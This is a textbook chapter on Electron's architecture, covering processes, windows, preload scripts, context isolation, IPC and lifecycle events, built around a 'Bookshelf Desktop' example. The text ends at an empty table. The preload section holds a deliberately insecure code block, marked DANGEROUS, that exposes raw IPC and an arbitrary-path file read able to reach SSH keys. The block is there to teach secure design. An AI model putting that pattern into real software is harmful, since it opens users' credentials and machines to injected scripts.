16. Cross-Platform Web-Based Native Applications
Chapter 15 brought web technologies to phones. This chapter brings them to the desktop: applications installed on Windows, macOS and Linux, with their own windows, menus, tray icons and file access, written in HTML, CSS and JavaScript. It focuses on Electron, the framework behind VS Code, Slack and Discord. It covers Electron's multi-process architecture (16.1), its integration with the operating system (16.2), and how such apps are packaged, signed, secured and shipped (16.3), ending with alternatives such as Tauri and desktop PWAs. The running example is Bookshelf Desktop, a desktop client for the bookshelf API from Chapter 12.
<a id="161-electron-architecture"></a>
16.1 Electron Architecture
An Electron app is a set of cooperating processes, not a single web page. This subchapter explains why desktop apps are built with web technologies at all and how Electron combines Chromium and Node.js. It then covers the main and renderer processes, windows, the preload scripts that connect them safely, the messages they exchange and the events that drive the application from launch to quit.
Motivation for Web-Based Desktop Applications
Why not just write a native app? A company that wants a desktop app for Windows, macOS and Linux faces the same problem as on mobile (15.1), only worse. Each platform has its own languages and UI toolkits: C# with WinUI or WPF on Windows, Swift with SwiftUI or AppKit on macOS, C or C++ with GTK or Qt on Linux. Three codebases need three teams and three release cycles, and features arrive at different times on each platform. Meanwhile, the same company usually has a web app already, built by web developers, with a UI that users know.
The idea. Take a browser engine, remove the browser around it (address bar, tabs, bookmarks), put a JavaScript runtime with operating system access next to it, and package the two as an ordinary installable program. The web team then builds the desktop app with the skills, libraries and often the code it already has. The app ships as a normal executable, with a Start menu entry, Dock icon, file associations and auto-updates.
An analogy: a native app is a custom-built car for each country's roads. An Electron app is one car body (your web UI) placed on a standard chassis (Chromium plus Node.js) that is certified for every country. The chassis is heavy, but you design the body only once.
A short history.
| Year | Event |
|---|---|
| 2008 | Chromium Embedded Framework (CEF) lets C++ apps embed Chromium; used by Spotify and Steam |
| 2011 | node-webkit (later NW.js) combines WebKit/Chromium and Node.js in one process |
| 2013 | GitHub creates Atom Shell for its Atom editor |
| 2015 | Atom Shell is renamed Electron; Visual Studio Code is built on it |
| 2019 | Electron joins the OpenJS Foundation |
| 2022 | Tauri 1.0 offers a lightweight alternative based on the operating system's own WebView |
| Now | A new Electron major version roughly every 8 weeks, each tracking a recent Chromium release |
Who uses it. VS Code, Slack, Discord, Figma's desktop app, Obsidian, Notion, Signal Desktop, 1Password, Postman and GitHub Desktop are all Electron apps. Some well-known apps have also moved away from it: Microsoft Teams switched to Edge WebView2 in 2023 to reduce memory use. That shows the main trade-off.
Benefits and costs.
| Aspect | Benefit | Cost |
|---|---|---|
| Codebase | One codebase for three operating systems, often shared with the web app | Platform differences still appear (menus, tray, paths, signing) |
| Skills | Web developers can build it; huge npm ecosystem | Native expertise is still needed for packaging, signing and edge cases |
| Rendering | Same Chromium version on every machine: no browser compatibility testing | Look and feel is not native unless you work at it |
| OS access | Full Node.js plus Electron APIs: files, processes, network, menus, tray | A bug such as XSS can become remote code execution (16.3) |
| Size | Self-contained; no runtime for users to install | Every app ships its own Chromium: installers of roughly 80 to 150 MB |
| Memory | Multi-process isolation: one crashed window does not take down the app | Idle memory use is typically 100 MB or more, higher than a native app |
| Updates | Auto-update frameworks and fast iteration (16.2) | You must ship Chromium security fixes by updating Electron regularly |
When it fits. Electron is a good choice for tools centered on documents, communication or productivity, where the UI is mostly text, lists and forms, the team is web-oriented, and the same product exists on the web. It is a poor choice for tiny utilities where a 100 MB download is absurd, for apps that must feel exactly native, for low-memory devices and for heavy real-time graphics, unless the heavy work runs in native modules.
Native desktop Electron Desktop PWA (16.3)
+------------------+ +----------------------+ +----------------------+
Your code | C# / Swift / C++ | | HTML, CSS, JS | | HTML, CSS, JS |
| per platform | | + Node.js main code | | + service worker |
+------------------+ +----------------------+ +----------------------+
Runtime | OS UI toolkit | | Bundled Chromium | | The user's installed |
| | | + Node.js + Electron | | browser (Chrome/Edge)|
+------------------+ +----------------------+ +----------------------+
OS access | Everything | | Everything (Node.js) | | Browser APIs only |
Delivery | Installer/store | | Installer/store | | URL + "Install" |
Key Takeaways
- Web-based desktop apps let one web team ship to Windows, macOS and Linux from one codebase, often reusing web app code.
- Electron bundles Chromium and Node.js into an installable program with full operating system access.
- The main costs are download size, memory use, a non-native feel and a larger security responsibility.
- It suits productivity, communication and document tools; it suits tiny utilities and graphics-heavy apps poorly.
- Alternatives trade some of Electron's power for size and memory savings (16.3).
Practice
- (Beginner) Install two Electron apps you use (for example VS Code and Slack). Find their installed size on disk and their memory use in the task manager with one window open, and compare them with a native app of similar purpose.
- (Intermediate) Write a half-page decision record for Bookshelf Desktop: the product must work offline with a local reading list, open
.epubfiles, show reminders and run on all three desktop operating systems. Compare native, Electron and a desktop PWA, and recommend one.- (Interview) "Why do so many desktop apps ship a whole browser, and what does that cost the user?" Hint: separate developer economics (one codebase, web skills, consistent rendering) from user costs (disk, memory, battery, update frequency, security surface).
Chromium and Node.js Integration
Why two engines. A browser can render UIs well, but it deliberately cannot touch the file system, start processes or open raw sockets. Node.js (Chapter 11) can do all of that but has no UI. Electron joins the two so that one application can do both, while still keeping them apart where safety requires it.
What Electron is made of.
+--------------------------------- Electron binary ----------------------------------+
| |
| +-------------------------- Chromium ---------------------------+ |
| | Blink (HTML/CSS layout, DOM) V8 (JavaScript engine) | |
| | Network stack, GPU compositing, multi-process sandbox | |
| +----------------------------------------------------------------+ |
| +-------------------------- Node.js ----------------------------+ |
| | libuv (event loop, file system, sockets, child processes) | |
| | Core modules: fs, path, crypto, child_process, net, ... | |
| +----------------------------------------------------------------+ |
| +-------------------- Electron native layer ---------------------+ |
| | app, BrowserWindow, Menu, Tray, dialog, Notification, ipcMain | |
| | (C++/Objective-C bindings to Win32, Cocoa, GTK) | |
| +----------------------------------------------------------------+ |
+-------------------------------------------------------------------------------------+
Three parts work together:
- Chromium provides rendering, networking, the GPU process and Chromium's multi-process sandbox.
- Node.js provides the npm ecosystem and system access. Electron builds Node.js against Chromium's copy of V8, so there is only one V8 engine in each process, not two.
- Electron's own native layer wraps operating system features (windows, menus, tray icons, dialogs, notifications) and exposes them as JavaScript modules.
Merging two event loops. Chromium has its own message loop (for input, rendering and timers), and Node.js has libuv's event loop (for I/O). A process can only block on one loop at a time. Electron solves this by running libuv's polling in a helper thread: when libuv reports that I/O is ready, the helper posts a task to Chromium's message loop, which then runs the Node.js callbacks. For your code this means that setTimeout, Promises, fs callbacks and UI events all appear on the same single JavaScript thread, as in Node.js and in browsers (5.1).
Versions are pinned. Each Electron release bundles specific versions of Chromium, V8 and Node.js. Your app runs on exactly those versions on every user's machine, regardless of which browser they have installed. That ends browser compatibility testing, but it also means you are responsible for Chromium security patches: an app that is never updated keeps old, known vulnerabilities. Electron supports the latest three major versions with security fixes.
// Print the versions bundled with the running Electron
console.log(process.versions.electron); // e.g. '44.x.y'
console.log(process.versions.chrome); // Chromium version
console.log(process.versions.node); // Node.js version
console.log(process.versions.v8); // the single shared V8
Which APIs exist where. Not every module is available everywhere. Some APIs only make sense in the privileged main process (next topic), some only in a page, some in both.
| Module | Main process | Preload / renderer | Purpose |
|---|---|---|---|
app, BrowserWindow, Menu, Tray, dialog | Yes | No | Application and window control |
ipcMain, globalShortcut, protocol, session, autoUpdater, utilityProcess | Yes | No | Messaging, OS hooks, networking, updates |
Notification (Electron module) | Yes | No (renderers use the Web Notification API) | Desktop notifications |
ipcRenderer, contextBridge, webFrame, webUtils | No | Yes | Messaging and safe exposure to the page |
clipboard, nativeImage, crashReporter | Yes | Partly (prefer main or web APIs) | Shared utilities |
Node.js core (fs, child_process, ...) | Yes | Only if Node integration is enabled (avoid) | System access |
A minimal project. An Electron app is an npm package whose main field points at the main process script.
{
"name": "bookshelf-desktop",
"version": "1.0.0",
"main": "src/main.js",
"scripts": {
"start": "electron ."
},
"devDependencies": {
"electron": "^44.0.0"
}
}
// src/main.js: the smallest useful Electron app
const { app, BrowserWindow } = require('electron');
const path = require('node:path');
app.whenReady().then(() => { // wait until Electron has initialized
const win = new BrowserWindow({ width: 1000, height: 700 });
win.loadFile(path.join(__dirname, 'index.html')); // a normal HTML page
});
The electron npm package downloads a prebuilt binary for your operating system (the version number above is an example; install the current stable release with npm install --save-dev electron). Running npm start launches that binary, which reads package.json, runs src/main.js with Node.js, and shows a window rendered by Chromium. The examples in this chapter use CommonJS (require) because sandboxed preload scripts require it; the main process also supports ES modules.
Key Takeaways
- Electron = Chromium (rendering, networking, sandbox) + Node.js (system access, npm) + a native layer for OS features.
- Node.js and Chromium share one V8 per process; Electron merges libuv's loop into Chromium's message loop.
- Each Electron version pins Chromium and Node.js versions, giving consistent rendering but making you responsible for security updates.
- Modules are split by process: window, menu and OS modules live in the main process;
ipcRendererandcontextBridgein preload scripts. - An Electron app is an npm package whose
mainscript is run by the Electron binary.
Practice
- (Beginner) Create the minimal project above, add an
index.htmlthat says "Bookshelf", and run it. Then printprocess.versionsin the main process and compare the Chromium version with the Chrome you have installed.- (Intermediate) In the main process, call
fs.promises.readdir(app.getPath('home'))and log the result, then try to do the same from a<script>inindex.html. Explain why the second attempt fails with the default settings.- (Interview) "Why does Electron ship its own Chromium instead of using the browser installed on the user's machine?" Hint: consider version consistency, which APIs the app can rely on, Node.js integration with V8, and the costs this creates for size and patching.
Main Process vs Renderer Process
Why more than one process. Chrome runs each tab in a separate process so that a crashing or malicious page cannot take down or spy on the others. Electron inherits this model. An application with several windows, a background task and native integration needs one place that owns the application as a whole, and separate, less privileged places for each page.
The main process. Every Electron app has exactly one main process. It runs the script named in package.json in a full Node.js environment. It:
- creates and manages windows (
BrowserWindow); - owns application-level features: menus, tray, dialogs, notifications, global shortcuts, protocol handlers, auto-updates;
- reacts to application lifecycle events (
ready,window-all-closed,before-quit); - has full operating system access through Node.js.
It has no DOM and no visible UI of its own. Think of it as the building manager: it does not live in any apartment, but it holds all the keys and decides who gets which room.
Renderer processes. Each window (more precisely, each webContents: the web page inside a window) gets its own renderer process, which is a Chromium renderer. It runs HTML, CSS and JavaScript exactly as a browser tab does: DOM, fetch, Web Workers, IndexedDB. By default it has no Node.js access and is sandboxed (since Electron 20), so a compromised page has no more power than a web page in Chrome. Renderers are the tenants: each lives in its own apartment and must ask the manager for anything beyond its walls.
Other processes. Chromium also starts a GPU process and a network service process. Electron adds utility processes (utilityProcess.fork()), Node.js child processes for CPU-heavy or crash-prone work, which you can create yourself (16.3).
+-----------------------------------------+
| Main process (1) |
| Node.js + Electron APIs, no DOM |
| app, BrowserWindow, Menu, Tray, ipcMain|
+-----------------------------------------+
| creates / controls ^ IPC messages
+---------------+---------------+---------+------------+
v v |
+-----------------------+ +-----------------------+ +------------------+
| Renderer: Library win | | Renderer: Settings win| | Utility process |
| Chromium page (DOM) | | Chromium page (DOM) | | Node.js worker |
| sandboxed, no Node.js | | sandboxed, no Node.js | | (e.g. indexing) |
| + preload script | | + preload script | +------------------+
+-----------------------+ +-----------------------+
Chromium also runs: GPU process, network service process
Dividing the work. The guiding rule: the renderer does presentation, the main process does privileged work, and they talk through narrow, validated messages (see Inter-Process Communication below).
| Task | Where it belongs | Why |
|---|---|---|
| Rendering the book list, handling clicks | Renderer | It is UI |
Calling the bookshelf REST API with fetch | Renderer (or main) | A normal web capability; move it to main if it uses secrets |
| Reading and writing local files | Main | Needs fs; the renderer has no file access |
| Showing an Open File dialog | Main | dialog exists only in main |
| Storing an API token securely | Main (safeStorage) | Keeps the secret out of web content |
| Parsing a 200 MB export | Utility process or Web Worker | Keeps the main process and UI responsive |
A blocked main process freezes everything. The main process handles events for all windows: menu clicks, window moves and resizes, and every IPC message. A synchronous file read of a large file or a long loop in the main process makes every window feel frozen, even though each renderer is a separate process. Keep the main process light and asynchronous.
// main.js: BAD, blocks the main process (and thus every window) for seconds
const data = require('node:fs').readFileSync(hugeFile); // synchronous I/O
const index = buildSearchIndex(data); // long CPU work
// main.js: GOOD, asynchronous I/O and CPU work moved to a utility process
const { utilityProcess } = require('electron');
const fs = require('node:fs/promises');
const text = await fs.readFile(hugeFile, 'utf8'); // does not block the loop
const worker = utilityProcess.fork(path.join(__dirname, 'indexer.js'));
worker.postMessage({ text }); // heavy work elsewhere
worker.on('message', (index) => { /* use the index */ });
Crashes are contained. If a renderer crashes or runs out of memory, only that window's content is lost. The main process receives a render-process-gone event and can reload the page or show an error (16.3). If the main process crashes, the whole app ends.
Key Takeaways
- One main process runs Node.js and Electron APIs, owns windows and OS integration, and has no DOM.
- Each window's page runs in its own sandboxed renderer process with web APIs only.
- Renderers handle presentation; privileged work goes to the main process through IPC.
- Blocking the main process freezes all windows; use async APIs and utility processes for heavy work.
- Process separation contains crashes and limits what a compromised page can do.
Practice
- (Beginner) Open two windows in a test app, then open the operating system's process list (or call
app.getAppMetrics()) and identify the main, renderer, GPU and utility processes.- (Intermediate) In the main process, add a menu item that runs a three-second busy loop. While it runs, try to move, resize and type into both windows. Then move the loop into a
utilityProcessand repeat. Describe the difference.- (Interview) "In Electron, which code should run in the main process and which in the renderer?" Hint: reason from privilege and responsiveness: what needs Node.js or OS APIs, what must never be exposed to web content, and what would block every window.
BrowserWindow and Window Lifecycle
Why windows need managing. On the web, the browser owns the window: the page lives inside a tab and cannot decide its own size or what happens when it closes. In a desktop app, you own the window. You decide its size and position, whether it remembers them, what happens when it closes, and how it behaves on each operating system. The BrowserWindow class in the main process handles all of this.
Creating a window. A BrowserWindow is a native window (Win32, Cocoa or GTK) that contains a webContents, the object that represents the web page and its renderer process.
// main.js
const { app, BrowserWindow } = require('electron');
const path = require('node:path');
function createMainWindow() {
const win = new BrowserWindow({
width: 1100,
height: 720,
minWidth: 640, // prevent layouts from breaking
minHeight: 480,
title: 'Bookshelf',
backgroundColor: '#1e1e1e', // painted before the page loads: no white flash
show: false, // create hidden, show when ready (see below)
webPreferences: {
preload: path.join(__dirname, 'preload.js'), // bridge script (see Preload Scripts below)
contextIsolation: true, // default since Electron 12; keep it
sandbox: true, // default since Electron 20; keep it
nodeIntegration: false, // default; never enable it for app content
},
});
win.once('ready-to-show', () => win.show()); // first paint is ready: show without flicker
win.loadFile(path.join(__dirname, 'renderer', 'index.html'));
return win;
}
app.whenReady().then(createMainWindow);
loadFile loads a local file, loadURL loads any URL (for example a development server at http://localhost:5173). Both return Promises that resolve when the page has finished loading.
The window lifecycle. A window goes through a sequence of events. The important distinction is between close (the user asked to close; you may still cancel) and closed (the window is gone; drop your references).
new BrowserWindow() loadFile / loadURL
| |
v v
[created, hidden] --> did-finish-load --> ready-to-show --> show()
|
focus / blur / resize / move / maximize / minimize ... (while open)
|
user clicks X or win.close() --> 'close' --(event.preventDefault()?)--> stays open
|
v
'closed' -> set references to null
// Ask before closing a window with unsaved changes
let hasUnsavedChanges = false; // updated through IPC from the renderer
win.on('close', async (event) => {
if (!hasUnsavedChanges) return; // let it close
event.preventDefault(); // cancel this close attempt
const { response } = await dialog.showMessageBox(win, {
type: 'question',
buttons: ['Cancel', 'Discard changes'],
defaultId: 0,
cancelId: 0,
message: 'You have unsaved notes. Close anyway?',
});
if (response === 1) {
hasUnsavedChanges = false;
win.close(); // try again; this time the handler lets it close
}
});
win.on('closed', () => {
mainWindow = null; // avoid using a destroyed window object
});
Common window options.
| Option | Effect |
|---|---|
width, height, x, y, minWidth, maxHeight | Size and position |
show: false + ready-to-show | Avoids showing an empty or half-painted window |
backgroundColor | Color painted before the page renders |
parent, modal: true | Child window attached to a parent; modal blocks the parent |
frame: false | Removes the native title bar and borders (you draw your own) |
titleBarStyle: 'hidden' (+ titleBarOverlay on Windows/Linux) | Hides the title bar but keeps native window controls |
resizable, alwaysOnTop, fullscreenable, skipTaskbar | Window behavior |
icon | Window icon on Windows and Linux (macOS uses the app bundle icon) |
webPreferences | Settings for the page: preload, isolation, sandbox, zoom, spellcheck |
Custom title bars. With frame: false or titleBarStyle: 'hidden', you draw the title bar in HTML. The CSS property -webkit-app-region: drag marks areas that move the window. Interactive elements inside them need no-drag, otherwise they cannot be clicked.
.titlebar { -webkit-app-region: drag; height: 32px; } /* drag the window by this bar */
.titlebar button { -webkit-app-region: no-drag; } /* buttons stay clickable */
Remembering size and position. Users expect a window to reopen where they left it. Save the bounds when the window closes, restore them on startup, and check that the saved position is still on a connected display.
const { screen } = require('electron');
const fs = require('node:fs');
const statePath = path.join(app.getPath('userData'), 'window-state.json');
function loadBounds() {
try {
const saved = JSON.parse(fs.readFileSync(statePath, 'utf8'));
const visible = screen.getAllDisplays().some(({ workArea: a }) =>
saved.x >= a.x && saved.y >= a.y &&
saved.x < a.x + a.width && saved.y < a.y + a.height);
return visible ? saved : { width: saved.width, height: saved.height }; // monitor gone: let the OS place it
} catch {
return { width: 1100, height: 720 }; // first run or corrupted file
}
}
// When creating: new BrowserWindow({ ...loadBounds(), ... })
// When closing:
win.on('close', () => fs.writeFileSync(statePath, JSON.stringify(win.getNormalBounds())));
(getNormalBounds() returns the size before maximizing, which is what you want to restore. Synchronous file writes are acceptable here because the file is tiny and the app is closing.)
Multiple windows and views. An app may open several windows: a library window, a settings window, a reader window per book. Keep references in a Map keyed by purpose or document, and focus an existing window instead of opening a duplicate. To show several web pages inside one window (for example an app UI plus an embedded web page), use BaseWindow with WebContentsView (Electron 30+), which replaced the deprecated BrowserView.
Key Takeaways
BrowserWindowis a native window that hosts awebContents(a page in its own renderer process).- Create windows with
show: falseand show them onready-to-showto avoid flicker; setbackgroundColor. closecan be cancelled withevent.preventDefault(); afterclosed, drop all references.- Frameless and hidden title bars use
-webkit-app-region: dragfor draggable areas. - Persist window bounds in
userDataand check they still fit on a connected display.
Practice
- (Beginner) Create a main window and a modal "About Bookshelf" window that is a child of it. Verify that the main window cannot be used while the About window is open.
- (Intermediate) Implement window state persistence that also restores the maximized state, and test it by disconnecting a second monitor between runs (or by editing the saved coordinates to an off-screen position).
- (Interview) "What is the difference between the
closeandclosedevents of aBrowserWindow, and where would you put an unsaved-changes check?" Hint: one is cancellable and happens before destruction; think about what is still safe to call on the window object in each.
Preload Scripts and Context Isolation
The problem. The renderer is deliberately powerless: no fs, no dialog, no ipcRenderer. But the Bookshelf UI must be able to say "export my reading list to a file". Early Electron apps solved this by enabling nodeIntegration, which gave every page full Node.js. Then any injected script, whether from an XSS bug, a compromised CDN dependency or a malicious book description, could run require('child_process').exec(...) on the user's machine. A safe design needs a narrow, controlled doorway between the page and the privileged world.
Preload scripts. A preload script is a JavaScript file that Electron runs in the renderer process before the page's own scripts. It has access to the DOM globals and to a small set of Electron renderer modules (contextBridge, ipcRenderer, webFrame, webUtils). In a sandboxed renderer (the default), it can require only those Electron modules plus a few Node.js polyfills (events, timers, url), not fs or child_process.
Context isolation. By default, the preload script and the page run in two separate JavaScript worlds: same DOM, but different global objects, different built-in prototypes and different variables. The page cannot see the preload's variables or modify the built-ins the preload uses (for example by overriding Array.prototype.push to intercept data). Chrome extensions use the same mechanism for content scripts.
The analogy is a bank teller's window. The customer (the page) and the vault (the main process) never share a room. The teller (the preload) sits behind bulletproof glass (context isolation) and offers only specific services through the slot (contextBridge): "deposit", "withdraw", "check balance", never "give me the vault keys".
+------------------------------- Renderer process (sandboxed) ------------------------------+
| |
| Isolated world (preload.js) Main world (your page: app.js, React) |
| +------------------------------+ +------------------------------------+ |
| | require('electron') | contextBridge| window.bookshelf.exportList(books)| |
| | ipcRenderer, contextBridge | ------------> | window.bookshelf.onSyncStatus(cb) | |
| | own globals and prototypes | copies only | no require, no ipcRenderer | |
| +------------------------------+ the exposed +------------------------------------+ |
| | functions |
+---------------|----------------------------------------------------------------------------+
| IPC
v
Main process: ipcMain.handle('books:export', ...)
contextBridge. contextBridge.exposeInMainWorld(name, api) makes api available as window[name] in the page. Values crossing the bridge are copied (with the structured clone algorithm, similar to postMessage), and functions are wrapped in proxies, so the page receives callable functions but no references to the preload's internal objects.
// preload.js: expose a minimal, purpose-specific API
const { contextBridge, ipcRenderer } = require('electron');
contextBridge.exposeInMainWorld('bookshelf', {
// Two-way calls: each returns a Promise resolved by the main process
exportReadingList: (books) => ipcRenderer.invoke('books:export', books),
openBookFile: () => ipcRenderer.invoke('books:open-file'),
getAppVersion: () => ipcRenderer.invoke('app:version'),
// One-way notification to main
setUnsavedChanges: (flag) => ipcRenderer.send('editor:unsaved', Boolean(flag)),
// Subscribe to events from main; return an unsubscribe function
onSyncStatus: (callback) => {
const listener = (_event, status) => callback(status); // do NOT pass the event object on
ipcRenderer.on('sync:status', listener);
return () => ipcRenderer.removeListener('sync:status', listener);
},
});
// renderer/app.js: ordinary front-end code (could be React from Chapter 14)
const result = await window.bookshelf.exportReadingList(books);
if (result.saved) showToast(`Saved to ${result.path}`);
const stop = window.bookshelf.onSyncStatus((s) => (statusBar.textContent = s));
// later, e.g. on component unmount: stop();
For TypeScript projects, declare the shape once so the renderer gets type checking (9.3):
// renderer/global.d.ts
export {};
declare global {
interface Window {
bookshelf: {
exportReadingList(books: Book[]): Promise<{ saved: boolean; path?: string }>;
openBookFile(): Promise<{ name: string; content: string } | null>;
getAppVersion(): Promise<string>;
setUnsavedChanges(flag: boolean): void;
onSyncStatus(cb: (status: string) => void): () => void;
};
}
}
What not to expose. The bridge is only as safe as the API you put on it.
// DANGEROUS: each of these gives the page (and any injected script) far too much power
contextBridge.exposeInMainWorld('api', {
ipcRenderer, // page can send ANY message on ANY channel
send: (channel, data) => ipcRenderer.send(channel, data), // same problem, generic channel
readFile: (p) => ipcRenderer.invoke('fs:read', p), // arbitrary path: reads ~/.ssh/id_rsa
on: (channel, cb) => ipcRenderer.on(channel, cb), // leaks the IpcRendererEvent (event.sender)
});
Rules of thumb:
- Expose one function per action, with a fixed channel name inside the preload.
- Never expose
ipcRendereritself, a genericsend(channel), or functions that take arbitrary paths, commands or URLs. - Do not forward the IPC
eventobject to page callbacks. - Validate arguments again in the main process (next topic); the preload is a convenience layer, not a security boundary on its own.
Settings that must stay on. contextIsolation: true, sandbox: true and nodeIntegration: false are the defaults in current Electron. Code that turns any of them off, often copied from old tutorials, re-opens the path from XSS to full system compromise (16.3).
Key Takeaways
- A preload script runs in the renderer before the page, with access to
contextBridgeandipcRendererbut no full Node.js when sandboxed. - Context isolation runs the preload and the page in separate JavaScript worlds that share only the DOM.
contextBridge.exposeInMainWorldgives the page a copied, proxied API under a global name.- Expose narrow, action-specific functions; never expose
ipcRendereror generic channels, paths or commands. - Keep
contextIsolation,sandboxand disablednodeIntegrationat their secure defaults.
Practice
- (Beginner) Write a preload script that exposes
window.bookshelf.getAppVersion()and display the version in the page footer.- (Intermediate) In a test app, try to override
Array.prototype.mapfrom the page and check whether the preload's code is affected. Then setcontextIsolation: falseand repeat. Explain the result.- (Interview) "Why is
contextBridge.exposeInMainWorld('ipc', ipcRenderer)a security problem even with context isolation enabled?" Hint: isolation protects the preload's objects, but what can a script in the page do with an unrestricted channel to the privileged process?
Inter-Process Communication
Why messages. The renderer and main processes are separate operating system processes with separate memory. They cannot call each other's functions or share objects. The only way to cooperate is to send messages, as a browser talks to a server with HTTP, but over a local channel. Electron's IPC (inter-process communication) modules, ipcMain and ipcRenderer, provide named channels for these messages.
Three patterns.
| Pattern | Renderer side | Main side | Use for |
|---|---|---|---|
| Renderer to main, one-way | ipcRenderer.send(channel, ...args) | ipcMain.on(channel, (event, ...args) => ...) | Notifications that need no answer ("document is dirty") |
| Renderer to main, request/response | await ipcRenderer.invoke(channel, ...args) | ipcMain.handle(channel, async (event, ...args) => result) | Most calls: open a dialog, read a file, get a setting |
| Main to renderer | ipcRenderer.on(channel, (event, ...args) => ...) | win.webContents.send(channel, ...args) | Pushing updates: sync status, menu commands, download progress |
Avoid ipcRenderer.sendSync: it blocks the renderer until main replies, and if main is busy the window freezes.
A full round trip. The export feature from the previous topic, end to end:
Renderer (page) Preload Main process
--------------- ------- ------------
bookshelf.exportReadingList(books)
|----------------------> ipcRenderer.invoke('books:export', books)
|------------------------> ipcMain.handle('books:export')
validate sender + args
dialog.showSaveDialog(...)
fs.writeFile(...)
<------------------------- return { saved, path }
<---------------------- Promise resolves
showToast(...)
// main.js: handlers registered once, at startup
const { app, ipcMain, dialog, BrowserWindow } = require('electron');
const fs = require('node:fs/promises');
// Accept messages only from our own UI (see the security notes below)
function isTrustedSender(frame) {
if (!frame) return false; // frame was destroyed or navigated away
const url = new URL(frame.url);
return url.protocol === 'file:' || url.origin === 'app://bookshelf'; // our local content only
}
ipcMain.handle('app:version', () => app.getVersion());
ipcMain.handle('books:export', async (event, books) => {
if (!isTrustedSender(event.senderFrame)) throw new Error('Untrusted sender');
if (!Array.isArray(books) || books.length > 10_000) throw new Error('Invalid book list');
const win = BrowserWindow.fromWebContents(event.sender); // the window that asked
const { canceled, filePath } = await dialog.showSaveDialog(win, {
defaultPath: 'reading-list.json',
filters: [{ name: 'JSON', extensions: ['json'] }],
});
if (canceled || !filePath) return { saved: false };
// Main chooses what to write: only known fields, not whatever the page sent
const clean = books.map(({ id, title, author, read }) =>
({ id: Number(id), title: String(title), author: String(author), read: Boolean(read) }));
await fs.writeFile(filePath, JSON.stringify(clean, null, 2), 'utf8');
return { saved: true, path: filePath };
});
const dirtyWindows = new Set(); // ids of windows with unsaved changes
ipcMain.on('editor:unsaved', (event, flag) => {
const win = BrowserWindow.fromWebContents(event.sender);
win.setDocumentEdited(flag); // macOS: dot in the close button
dirtyWindows[flag ? 'add' : 'delete'](win.id);
});
// main.js: pushing a message from main to one window
function reportSyncStatus(win, status) {
if (!win.isDestroyed()) win.webContents.send('sync:status', status);
}
Errors. If an ipcMain.handle handler throws, the renderer's invoke Promise rejects. Only the error message crosses the boundary (stack traces and custom properties are lost), so return structured results like { ok: false, reason: 'not-found' } when the UI needs details.
What can be sent. Arguments are serialized with the structured clone algorithm: plain objects, arrays, strings, numbers, Date, Map, Set, ArrayBuffer, typed arrays and Error objects work. Functions, DOM nodes, class instances' prototypes, Promises and Electron objects do not. For large binary data, send an ArrayBuffer or Uint8Array rather than an array of numbers.
MessagePorts. For high-volume or direct communication, Electron supports MessageChannelMain and transferring MessagePorts, the same API as Web Workers' postMessage. A common use is a direct channel between a renderer and a utility process, so that the main process does not have to relay every message.
Security rules for IPC.
- Treat every message as untrusted input. The renderer shows content from the network; assume it may be compromised. Validate types, sizes and values in main, exactly as an API server validates HTTP requests (12.3).
- Validate the sender. Check
event.senderFrame.urlso that messages from an embedded third-party frame or a page the window navigated to are rejected. - Expose capabilities, not primitives.
books:exportwith a save dialog chosen by the user is safe;fs:write(path, data)is not. - Name channels by feature (
books:export,sync:status) to keep the API surface visible and auditable.
Key Takeaways
- Processes communicate only by messages on named channels through
ipcMainandipcRenderer. - Use
invoke/handlefor request/response,send/onfor one-way, andwebContents.sendfor main-to-renderer pushes. - Arguments are copied with structured clone: no functions, DOM nodes or class instances.
- Errors thrown in a handler reject the renderer's Promise, but only the message survives.
- Validate the sender and every argument in main, and expose specific capabilities rather than generic primitives.
Practice
- (Beginner) Implement
bookshelf.getAppVersion()withinvoke/handleand a "Check for sync" button that triggers a fake sync in main, which pushes threesync:statusmessages back to the window one second apart.- (Intermediate) Implement
books:open-file: main shows an Open dialog for.jsonfiles, reads the chosen file, validates it as a list of books (reject anything over 5 MB or with missing fields) and returns it. Write two malicious calls from the DevTools console and show that main rejects them.- (Interview) "How would you design the IPC API of an Electron app so that an XSS bug in the renderer does not compromise the user's machine?" Hint: think about the preload surface, channel granularity, sender validation, argument validation, and who chooses file paths and URLs.
Application Lifecycle Events
Why lifecycle matters. A web page lives and dies with its tab. A desktop application has a richer life: it starts, possibly before any window exists; it may keep running with no windows (common on macOS); the OS may ask it to open a file or URL; a second copy may be launched; the computer may sleep, resume or shut down. Handling these moments correctly is what makes an app feel native. The app module emits an event for each of them.
The core sequence.
launch
|
v
'will-finish-launching' (very early; set up crash reporting, open-url listeners on macOS)
|
v
'ready' / app.whenReady() -----> create windows, menus, tray; register IPC handlers
|
| while running: 'activate' (macOS Dock click), 'second-instance', 'open-file',
| 'open-url', 'browser-window-created', 'render-process-gone', ...
v
last window closed --> 'window-all-closed' --> app.quit() (Windows/Linux convention)
\-> keep running (macOS convention)
|
quit requested (menu, Cmd+Q, app.quit(), OS shutdown)
|
v
'before-quit' --> 'close' on each window --> 'will-quit' --> 'quit' --> process exits
(cancellable) (cancellable)
The platform conventions. On Windows and Linux, closing the last window quits the app. On macOS, apps usually stay running in the Dock with their menu bar, and clicking the Dock icon opens a new window. The standard boilerplate encodes both:
// main.js
app.whenReady().then(() => {
registerIpcHandlers();
createMainWindow();
// macOS: clicking the Dock icon with no windows open should open one
app.on('activate', () => {
if (BrowserWindow.getAllWindows().length === 0) createMainWindow();
});
});
app.on('window-all-closed', () => {
if (process.platform !== 'darwin') app.quit(); // macOS keeps the app alive
});
Saving work before quitting. before-quit fires once when quitting starts, before windows close. Use it to flush state. Because Electron does not wait for Promises in event handlers, asynchronous cleanup needs the "prevent, finish, quit again" pattern:
let cleanupDone = false;
app.on('before-quit', async (event) => {
if (cleanupDone) return; // second pass: let the quit proceed
event.preventDefault(); // pause the quit
try {
await syncPendingChanges(); // e.g. push offline edits to the bookshelf API
await database.close();
} finally {
cleanupDone = true;
app.quit(); // quit again; handler now returns immediately
}
});
Keep this work short: during operating system shutdown, the OS may kill the process if it takes too long.
Single-instance apps. Double-clicking the app icon again, or opening a file associated with the app, normally starts a second process. Most apps want one instance that receives the new request instead.
const gotLock = app.requestSingleInstanceLock();
if (!gotLock) {
app.quit(); // another instance is running: it will handle this launch
} else {
app.on('second-instance', (event, argv, workingDirectory) => {
// argv contains the second launch's command line (files, deep links on Windows/Linux)
if (mainWindow) {
if (mainWindow.isMinimized()) mainWindow.restore();
mainWindow.focus();
}
handleCommandLine(argv); // e.g. open a file or a bookshelf:// link (16.2)
});
app.whenReady().then(createMainWindow);
}
Other useful events.
| Event (module) | When | Typical response |
|---|---|---|
